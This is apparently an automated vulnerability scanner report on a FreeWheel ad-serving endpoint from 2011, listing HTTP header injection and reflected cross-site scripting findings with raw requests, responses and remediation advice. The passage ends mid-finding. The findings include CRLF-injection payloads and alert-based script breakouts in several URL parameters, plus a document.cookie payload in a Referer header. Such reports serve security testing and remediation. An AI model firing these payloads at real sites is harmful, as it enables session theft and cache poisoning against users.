HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the crtp request parameter is copied into the X-FW-Error-Info response header. The payload 4b797%0d%0a8c8c4f8b5fb was submitted in the crtp parameter. This caused a response containing an injected HTTP header.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=4b797%0d%0a8c8c4f8b5fb&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="c015_5566609526393919786";domain=.fwmrm.net;path=/; Set-Cookie: _auv="";expires=Fri, 25 Feb 2011 21:27:59 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _cvr="1296077265^11575^sg11951~sg11611^0~0^37.000000~0.000000,";expires=Fri, 25 Feb 2011 21:27:59 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296077279.453241.209169~209170~,1296077272.603212.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,";expires=Fri, 25 Feb 2011 21:27:59 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296077279.1296077279.28800.0.0,";expires=Fri, 25 Feb 2011 21:27:59 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 21:27:59 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart X-FW-Error-Info: STYLESHEET 4b797 8c8c4f8b5fb NOT FOUND Content-Type: text/xml Content-Length: 0 Pragma: no-cache Date: Wed, 26 Jan 2011 21:27:58 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Set-Cookie: NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3c45525d5f4f58455e445a4a423208;path=/;httponly
The value of the pvrn request parameter is copied into the Set-Cookie response header. The payload 2e533%0d%0aa4ea062e3a9 was submitted in the pvrn parameter. This caused a response containing an injected HTTP header.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=2e533%0d%0aa4ea062e3a9&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="c004_5566609367480134726";domain=.fwmrm.net;path=/; Set-Cookie: _auv="";expires=Fri, 25 Feb 2011 21:27:22 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _cvr="1296077234^11575^sg11951~sg11611^0~0^74.000000~0.000000,";expires=Fri, 25 Feb 2011 21:27:22 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296077242.2e533 a4ea062e3a9.209169~209170~,1296077229.603212.209169~209170~,1296077213.453241.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,";expires=Fri, 25 Feb 2011 21:27:22 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296077242.1296077242.28800.0.0,";expires=Fri, 25 Feb 2011 21:27:22 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 21:27:22 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Date: Wed, 26 Jan 2011 21:27:21 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Set-Cookie: NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3345525d5f4f58455e445a4a423208;path=/;httponly Content-Length: 40832
(function() { var parseResponse = function(resp) { if (window.console) console.log("RESPONSE %o", resp); try { if (!resp.ads || !resp.siteSection) return; var crs = {}; var ads = resp.ad ...[SNIP]...
The value of the cr request parameter is copied into the Location response header. The payload a8f90%0d%0a0469879f53b was submitted in the cr parameter. This caused a response containing an injected HTTP header.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the asid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc99f"%3balert(1)//b18842baaba was submitted in the asid parameter. This input was echoed as dc99f";alert(1)//b18842baaba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1dc99f"%3balert(1)//b18842baaba&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="c003_5566609075422687952";domain=.fwmrm.net;path=/; Set-Cookie: _uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 21:26:14 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _auv="";expires=Fri, 25 Feb 2011 21:26:14 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296077174.453241.209169~209170~,1296077132.603212.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,";expires=Fri, 25 Feb 2011 21:26:14 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296077174.1296077174.28800.0.0,";expires=Fri, 25 Feb 2011 21:26:14 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 21:26:14 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Date: Wed, 26 Jan 2011 21:26:14 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Set-Cookie: NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3045525d5f4f58455e445a4a423208;path=/;httponly Content-Length: 58584
The value of the asnw request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 78871"%3balert(1)//43e715b0d88 was submitted in the asnw parameter. This input was echoed as 78871";alert(1)//43e715b0d88 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=78871"%3balert(1)//43e715b0d88&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=;qcseg=D&qcseg=T&;ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90 HTTP/1.1 Host: 2d37.v.fwmrm.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _cph="1295039779.438.1.1,"; _sid="a115_5566589151069306229"; _sc="sg11951.1296072535.1296076541.28800.2377.0,"; _auv="g11951~5.1296076541.0,12670.1296075237.880,12671.1296076541.0,^"; _pr="1296076540.8163.209169~209170~,1296076434.7120.209169~209170~,1296076334.4450.209169~209170~,1296076263.3972.209169~209170~,1296076138.3959.209169~209170~,1296076027.4830.209169~209170~,1296075922.4171.209169~209170~,1296075822.3611.209169~209170~,1296075754.4614.209169~209170~,1296075621.9008.209169~209170~,1296075510.8419.209169~209170~,1296075405.9586.209169~209170~,1296075304.8942.209169~209170~,1296075235.1965.209169~209170~,1296075101.798.209169~209170~,1296074990.1228.209169~209170~,1296074859.104.209169~209170~,1296074758.1162.209169~209170~,1296074642.5926.209169~209170~,1296074515.1669.209169~209170~,1296074405.2652.209169~209170~,1296074299.7276.209169~209170~,1296074199.8486.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,"; NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3745525d5f4f58455e445a4a423209; _cvr="1296076529^11575^sg11951~sg11611^0~0^2206.000000~0.000000,"; _uid="a104_5562153497824379009"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e5a45525d5f4f58455e445a4a423208; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209; _wr="g11951"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,";
(function(){ var pht = !!(''); var psd = window._fw_link_tag_scan_delay || 1*''; var mkv = !(''); if (isNaN(psd)) psd = 0; var am = function(f) { try { return f._fw_admanager && (f._fw_admanager.load ...[SNIP]... d')[0].appendChild(script); if (window._fw_slot_urls.length) setTimeout(f, 10); setTimeout(d, 15000); }; window._fw_slot_urls = []; var u = "http://2d37.v.fwmrm.net/ad/g/1?nw=11575&asid=-1&asnw=78871";alert(1)//43e715b0d88&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=;qcseg=D&qcseg=T&;ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90"; if (document.addEventListener ...[SNIP]...
The value of the caid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 419f2"%3balert(1)//db8a7c577fb was submitted in the caid parameter. This input was echoed as 419f2";alert(1)//db8a7c577fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=419f2"%3balert(1)//db8a7c577fb&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="c109_5566609169911758581";domain=.fwmrm.net;path=/; Set-Cookie: _uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 21:26:36 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _auv="";expires=Fri, 25 Feb 2011 21:26:36 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296077196.453241.209169~209170~,1296077164.603212.209169~209170~,1296072634.459.209169~209170~,";expires=Fri, 25 Feb 2011 21:26:36 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296077196.1296077196.28800.0.0,";expires=Fri, 25 Feb 2011 21:26:36 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 21:26:36 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Date: Wed, 26 Jan 2011 21:26:36 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Set-Cookie: NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3645525d5f4f58455e445a4a423209;path=/;httponly Content-Length: 40895
The value of the csid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 60698"%3balert(1)//00441d16a87 was submitted in the csid parameter. This input was echoed as 60698";alert(1)//00441d16a87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=60698"%3balert(1)//00441d16a87&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="c103_5566609290171239684";domain=.fwmrm.net;path=/; Set-Cookie: _auv="";expires=Fri, 25 Feb 2011 21:27:04 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296077224.453241.209169~209170~,1296077218.603212.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,";expires=Fri, 25 Feb 2011 21:27:04 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296077224.1296077224.28800.0.0,";expires=Fri, 25 Feb 2011 21:27:04 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 21:27:04 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Date: Wed, 26 Jan 2011 21:27:04 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Set-Cookie: NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3045525d5f4f58455e445a4a423209;path=/;httponly Content-Length: 58587
The value of the lo request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ff38e"%3balert(1)//7b9845e29b2 was submitted in the lo parameter. This input was echoed as ff38e";alert(1)//7b9845e29b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=;qcseg=D&qcseg=T&;ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=ff38e"%3balert(1)//7b9845e29b2&cd=970,66|728,90 HTTP/1.1 Host: 2d37.v.fwmrm.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _cph="1295039779.438.1.1,"; _sid="a115_5566589151069306229"; _sc="sg11951.1296072535.1296076541.28800.2377.0,"; _auv="g11951~5.1296076541.0,12670.1296075237.880,12671.1296076541.0,^"; _pr="1296076540.8163.209169~209170~,1296076434.7120.209169~209170~,1296076334.4450.209169~209170~,1296076263.3972.209169~209170~,1296076138.3959.209169~209170~,1296076027.4830.209169~209170~,1296075922.4171.209169~209170~,1296075822.3611.209169~209170~,1296075754.4614.209169~209170~,1296075621.9008.209169~209170~,1296075510.8419.209169~209170~,1296075405.9586.209169~209170~,1296075304.8942.209169~209170~,1296075235.1965.209169~209170~,1296075101.798.209169~209170~,1296074990.1228.209169~209170~,1296074859.104.209169~209170~,1296074758.1162.209169~209170~,1296074642.5926.209169~209170~,1296074515.1669.209169~209170~,1296074405.2652.209169~209170~,1296074299.7276.209169~209170~,1296074199.8486.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,"; NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3745525d5f4f58455e445a4a423209; _cvr="1296076529^11575^sg11951~sg11611^0~0^2206.000000~0.000000,"; _uid="a104_5562153497824379009"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e5a45525d5f4f58455e445a4a423208; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209; _wr="g11951"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,";
(function(){ var pht = !!(''); var psd = window._fw_link_tag_scan_delay || 1*''; var mkv = !(''); if (isNaN(psd)) psd = 0; var am = function(f) { try { return f._fw_admanager && (f._fw_admanager.load ...[SNIP]... p://2d37.v.fwmrm.net/ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=;qcseg=D&qcseg=T&;ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=ff38e";alert(1)//7b9845e29b2&cd=970,66|728,90"; if (document.addEventListener) { document.addEventListener( "DOMContentLoaded", e, false ); document.addEventListener( "load", e, false ); } else if (window.attachEvent) { w ...[SNIP]...
The value of the lo request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a9e0'%3balert(1)//34b7fffe25f was submitted in the lo parameter. This input was echoed as 9a9e0';alert(1)//34b7fffe25f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=;qcseg=D&qcseg=T&;ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=9a9e0'%3balert(1)//34b7fffe25f&cd=970,66|728,90 HTTP/1.1 Host: 2d37.v.fwmrm.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _cph="1295039779.438.1.1,"; _sid="a115_5566589151069306229"; _sc="sg11951.1296072535.1296076541.28800.2377.0,"; _auv="g11951~5.1296076541.0,12670.1296075237.880,12671.1296076541.0,^"; _pr="1296076540.8163.209169~209170~,1296076434.7120.209169~209170~,1296076334.4450.209169~209170~,1296076263.3972.209169~209170~,1296076138.3959.209169~209170~,1296076027.4830.209169~209170~,1296075922.4171.209169~209170~,1296075822.3611.209169~209170~,1296075754.4614.209169~209170~,1296075621.9008.209169~209170~,1296075510.8419.209169~209170~,1296075405.9586.209169~209170~,1296075304.8942.209169~209170~,1296075235.1965.209169~209170~,1296075101.798.209169~209170~,1296074990.1228.209169~209170~,1296074859.104.209169~209170~,1296074758.1162.209169~209170~,1296074642.5926.209169~209170~,1296074515.1669.209169~209170~,1296074405.2652.209169~209170~,1296074299.7276.209169~209170~,1296074199.8486.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,"; NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3745525d5f4f58455e445a4a423209; _cvr="1296076529^11575^sg11951~sg11611^0~0^2206.000000~0.000000,"; _uid="a104_5562153497824379009"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e5a45525d5f4f58455e445a4a423208; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209; _wr="g11951"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,";
The value of the pvrn request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9fc5b"%3balert(1)//bae0fdeacfc was submitted in the pvrn parameter. This input was echoed as 9fc5b";alert(1)//bae0fdeacfc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
